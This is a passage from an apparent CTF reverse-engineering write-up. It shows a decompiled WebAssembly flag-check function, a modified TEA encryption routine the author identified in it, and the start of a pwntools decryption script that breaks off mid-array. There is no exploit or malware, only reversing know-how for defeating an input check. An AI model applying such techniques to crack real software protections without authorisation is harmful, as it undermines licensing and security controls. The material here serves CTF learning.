static u<span class="hljs-number">32</span> _check(u<span class="hljs-number">32</span> p<span class="hljs-number">0</span>) {
  u<span class="hljs-number">32</span> l<span class="hljs-number">0</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">1</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">2</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">3</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">4</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">5</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">6</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">7</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">8</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">9</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">10</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">11</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">12</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">13</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">14</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">15</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">16</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">17</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">18</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">19</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">20</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">21</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">22</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">23</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">24</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">25</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">26</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">27</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">28</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">29</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">30</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">31</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">32</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">33</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">34</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">35</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">36</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">37</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">38</span> = <span class="hljs-number">0</span><span class="hljs-comment">;
</span>  FUNC_PROLOGUE<span class="hljs-comment">;
</span>  u<span class="hljs-number">32</span> <span class="hljs-keyword">i0</span>, <span class="hljs-keyword">i1</span>, <span class="hljs-keyword">i2</span>, <span class="hljs-keyword">i3</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">36</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">160</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  g<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = g<span class="hljs-number">11</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = (u<span class="hljs-number">32</span>)((s<span class="hljs-number">32</span>)<span class="hljs-keyword">i0</span> &gt;= (s<span class="hljs-number">32</span>)<span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>  if (<span class="hljs-keyword">i0</span>) {
    <span class="hljs-keyword">i0</span> = <span class="hljs-number">160</span>u<span class="hljs-comment">;
</span>    (*Z_envZ_abortStackOverflowZ_vi)(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>  }
  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">36</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">144</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">22</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">36</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">120</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">28</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">36</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">8</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">30</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = p<span class="hljs-number">0</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">11</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">11</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">32</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">32</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = (*Z_envZ__strlenZ_ii)(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>  l<span class="hljs-number">33</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">33</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">24</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i0</span> != <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">1</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">1</span><span class="hljs-comment">;
</span>  if (<span class="hljs-keyword">i0</span>) {
    <span class="hljs-keyword">i0</span> = <span class="hljs-number">0</span>u<span class="hljs-comment">;
</span>    l<span class="hljs-number">0</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">0</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">27</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">36</span><span class="hljs-comment">;
</span>    g<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">27</span><span class="hljs-comment">;
</span>    goto Bfunc<span class="hljs-comment">;
</span>  }
  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">22</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">34</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = (*Z_envZ_memoryBaseZ_i)<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">96</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">37</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">34</span><span class="hljs-comment">; 144
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">16</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">38</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  L<span class="hljs-number">2</span>: 
    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">34</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">37</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-keyword">i32</span>_load<span class="hljs-number">8</span>_s(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i1</span>))<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i32</span>_store<span class="hljs-number">8</span>(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">34</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">1</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">34</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">37</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">1</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">37</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">34</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">38</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = (u<span class="hljs-number">32</span>)((s<span class="hljs-number">32</span>)<span class="hljs-keyword">i0</span> &lt; (s<span class="hljs-number">32</span>)<span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>    if (<span class="hljs-keyword">i0</span>) {goto L<span class="hljs-number">2</span><span class="hljs-comment">;}
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">11</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">2</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">28</span><span class="hljs-comment">; 120
</span>  <span class="hljs-keyword">i1</span> = l<span class="hljs-number">2</span><span class="hljs-comment">;  plaintext
</span>  <span class="hljs-keyword">i2</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;  4
</span>  <span class="hljs-keyword">i3</span> = l<span class="hljs-number">22</span><span class="hljs-comment">; 144 key?
</span>  _EncryptCBC(<span class="hljs-keyword">i0</span>, <span class="hljs-keyword">i1</span>, <span class="hljs-keyword">i2</span>, <span class="hljs-keyword">i3</span>)<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = <span class="hljs-number">0</span>u<span class="hljs-comment">;
</span>  l<span class="hljs-number">29</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">30</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">34</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = (*Z_envZ_memoryBaseZ_i)<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">0</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">37</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">34</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">96</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">38</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  L<span class="hljs-number">3</span>: 
    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">34</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">37</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i1</span>))<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i32</span>_store(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">34</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">34</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">37</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">37</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">34</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">38</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = (u<span class="hljs-number">32</span>)((s<span class="hljs-number">32</span>)<span class="hljs-keyword">i0</span> &lt; (s<span class="hljs-number">32</span>)<span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>    if (<span class="hljs-keyword">i0</span>) {goto L<span class="hljs-number">3</span><span class="hljs-comment">;}
</span>  <span class="hljs-keyword">i0</span> = <span class="hljs-number">0</span>u<span class="hljs-comment">;
</span>  l<span class="hljs-number">29</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  L<span class="hljs-number">4</span>: 
    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">29</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">3</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">3</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">3</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = (u<span class="hljs-number">32</span>)((s<span class="hljs-number">32</span>)<span class="hljs-keyword">i0</span> &lt; (s<span class="hljs-number">32</span>)<span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>    l<span class="hljs-number">4</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">4</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = !(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>    if (<span class="hljs-keyword">i0</span>) {
      <span class="hljs-keyword">i0</span> = <span class="hljs-number">11</span>u<span class="hljs-comment">;
</span>      l<span class="hljs-number">35</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      goto B<span class="hljs-number">5</span><span class="hljs-comment">;
</span>    }
    <span class="hljs-keyword">i0</span> = <span class="hljs-number">0</span>u<span class="hljs-comment">;
</span>    l<span class="hljs-number">31</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    L<span class="hljs-number">7</span>: 
      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">31</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">5</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">5</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i1</span> = <span class="hljs-number">8</span>u<span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = (u<span class="hljs-number">32</span>)((s<span class="hljs-number">32</span>)<span class="hljs-keyword">i0</span> &lt; (s<span class="hljs-number">32</span>)<span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>      l<span class="hljs-number">6</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">29</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">7</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">6</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = !(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>      if (<span class="hljs-keyword">i0</span>) {
        goto B<span class="hljs-number">8</span><span class="hljs-comment">;
</span>      }
      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">7</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i1</span> = <span class="hljs-number">3</span>u<span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> &lt;&lt;= (<span class="hljs-keyword">i1</span> &amp; <span class="hljs-number">31</span>)<span class="hljs-comment">;
</span>      l<span class="hljs-number">8</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">31</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">9</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">8</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i1</span> = l<span class="hljs-number">9</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">28</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i1</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">12</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">12</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load<span class="hljs-number">8</span>_s(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>      l<span class="hljs-number">13</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">13</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i1</span> = <span class="hljs-number">255</span>u<span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> &amp;= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">14</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">29</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">15</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">15</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i1</span> = <span class="hljs-number">3</span>u<span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> &lt;&lt;= (<span class="hljs-keyword">i1</span> &amp; <span class="hljs-number">31</span>)<span class="hljs-comment">;
</span>      l<span class="hljs-number">16</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">16</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i1</span> = <span class="hljs-number">7</span>u<span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">17</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">31</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">18</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">17</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i1</span> = l<span class="hljs-number">18</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> -= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">19</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">30</span><span class="hljs-comment">; cipher
</span>      <span class="hljs-keyword">i1</span> = l<span class="hljs-number">19</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i2</span> = <span class="hljs-number">2</span>u<span class="hljs-comment">;
</span>      <span class="hljs-keyword">i1</span> &lt;&lt;= (<span class="hljs-keyword">i2</span> &amp; <span class="hljs-number">31</span>)<span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">20</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">20</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>      l<span class="hljs-number">21</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">14</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i1</span> = l<span class="hljs-number">21</span><span class="hljs-comment">; cipher[pos]
</span>      <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i0</span> != <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">23</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">23</span><span class="hljs-comment">;
</span>      if (<span class="hljs-keyword">i0</span>) {
        <span class="hljs-keyword">i0</span> = <span class="hljs-number">8</span>u<span class="hljs-comment">;
</span>        l<span class="hljs-number">35</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>        goto B<span class="hljs-number">5</span><span class="hljs-comment">;
</span>      }
      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">31</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">24</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">24</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i1</span> = <span class="hljs-number">1</span>u<span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">25</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">25</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">31</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      goto L<span class="hljs-number">7</span><span class="hljs-comment">;
</span>      B<span class="hljs-number">8</span>:<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">7</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">1</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">26</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">26</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">29</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    goto L<span class="hljs-number">4</span><span class="hljs-comment">;
</span>    B<span class="hljs-number">5</span>:<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">35</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">8</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i0</span> == <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  if (<span class="hljs-keyword">i0</span>) {
    <span class="hljs-keyword">i0</span> = <span class="hljs-number">0</span>u<span class="hljs-comment">;
</span>    l<span class="hljs-number">0</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">0</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">27</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">36</span><span class="hljs-comment">;
</span>    g<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">27</span><span class="hljs-comment">;
</span>    goto Bfunc<span class="hljs-comment">;
</span>  } else {
    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">35</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">11</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i0</span> == <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    if (<span class="hljs-keyword">i0</span>) {
      <span class="hljs-keyword">i0</span> = <span class="hljs-number">1</span>u<span class="hljs-comment">;
</span>      l<span class="hljs-number">0</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">0</span><span class="hljs-comment">;
</span>      l<span class="hljs-number">27</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">36</span><span class="hljs-comment">;
</span>      g<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>      <span class="hljs-keyword">i0</span> = l<span class="hljs-number">27</span><span class="hljs-comment">;
</span>      goto Bfunc<span class="hljs-comment">;
</span>    }
  }
  <span class="hljs-keyword">i0</span> = <span class="hljs-number">0</span>u<span class="hljs-comment">;
</span>  goto Bfunc<span class="hljs-comment">;
</span>  Bfunc:<span class="hljs-comment">;
</span>  FUNC_EPILOGUE<span class="hljs-comment">;
</span>  return <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>}</code></pre><p>The first thing come out in my mind is that It&#39;s <a href="https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm">TEA</a>.</p>
<p>But there some difference. The encryption function in this challenge is</p>
<pre class="hljs"><code>void encrypt (uint32_t* v, uint32_t* k) {
    uint32_t <span class="hljs-built_in">v0</span>=v[<span class="hljs-number">0</span>], <span class="hljs-built_in">v1</span>=v[<span class="hljs-number">1</span>], sum=<span class="hljs-number">0</span>, i<span class="hljs-comment">;           /* set up */</span>
    uint32_t delta=<span class="hljs-number">0x9e3779b9</span><span class="hljs-comment">;                     /* a key schedule constant */</span>
    uint32_t <span class="hljs-built_in">k0</span>=k[<span class="hljs-number">0</span>], <span class="hljs-built_in">k1</span>=k[<span class="hljs-number">1</span>], k2=k[<span class="hljs-number">2</span>], k3=k[<span class="hljs-number">3</span>]<span class="hljs-comment">;   /* cache key */</span>
    for (i=<span class="hljs-number">0</span><span class="hljs-comment">; i &lt; 32; i++) {                       /* basic cycle start */</span>
        sum += delta<span class="hljs-comment">;</span>
        <span class="hljs-built_in">v0</span> += ((<span class="hljs-built_in">v1</span>&lt;&lt;<span class="hljs-number">3</span>) + <span class="hljs-built_in">k0</span>) ^ (<span class="hljs-built_in">v1</span> + sum) ^ ((<span class="hljs-built_in">v1</span>&gt;&gt;<span class="hljs-number">5</span>) + <span class="hljs-built_in">k1</span>)<span class="hljs-comment">;</span>
        <span class="hljs-built_in">v1</span> += ((<span class="hljs-built_in">v0</span>&lt;&lt;<span class="hljs-number">3</span>) + k2) ^ (<span class="hljs-built_in">v0</span> + sum) ^ ((<span class="hljs-built_in">v0</span>&gt;&gt;<span class="hljs-number">5</span>) + k3)<span class="hljs-comment">;</span>
    }                                              <span class="hljs-comment">/* end cycle */</span>
    v[<span class="hljs-number">0</span>]=<span class="hljs-built_in">v0</span><span class="hljs-comment">; v[1]=v1;</span>
}</code></pre><p>Now it&#39;s easy to write a decryption script</p>
<pre class="hljs"><code>from pwn import *
A=[<span class="hljs-number">0x99</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x77</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
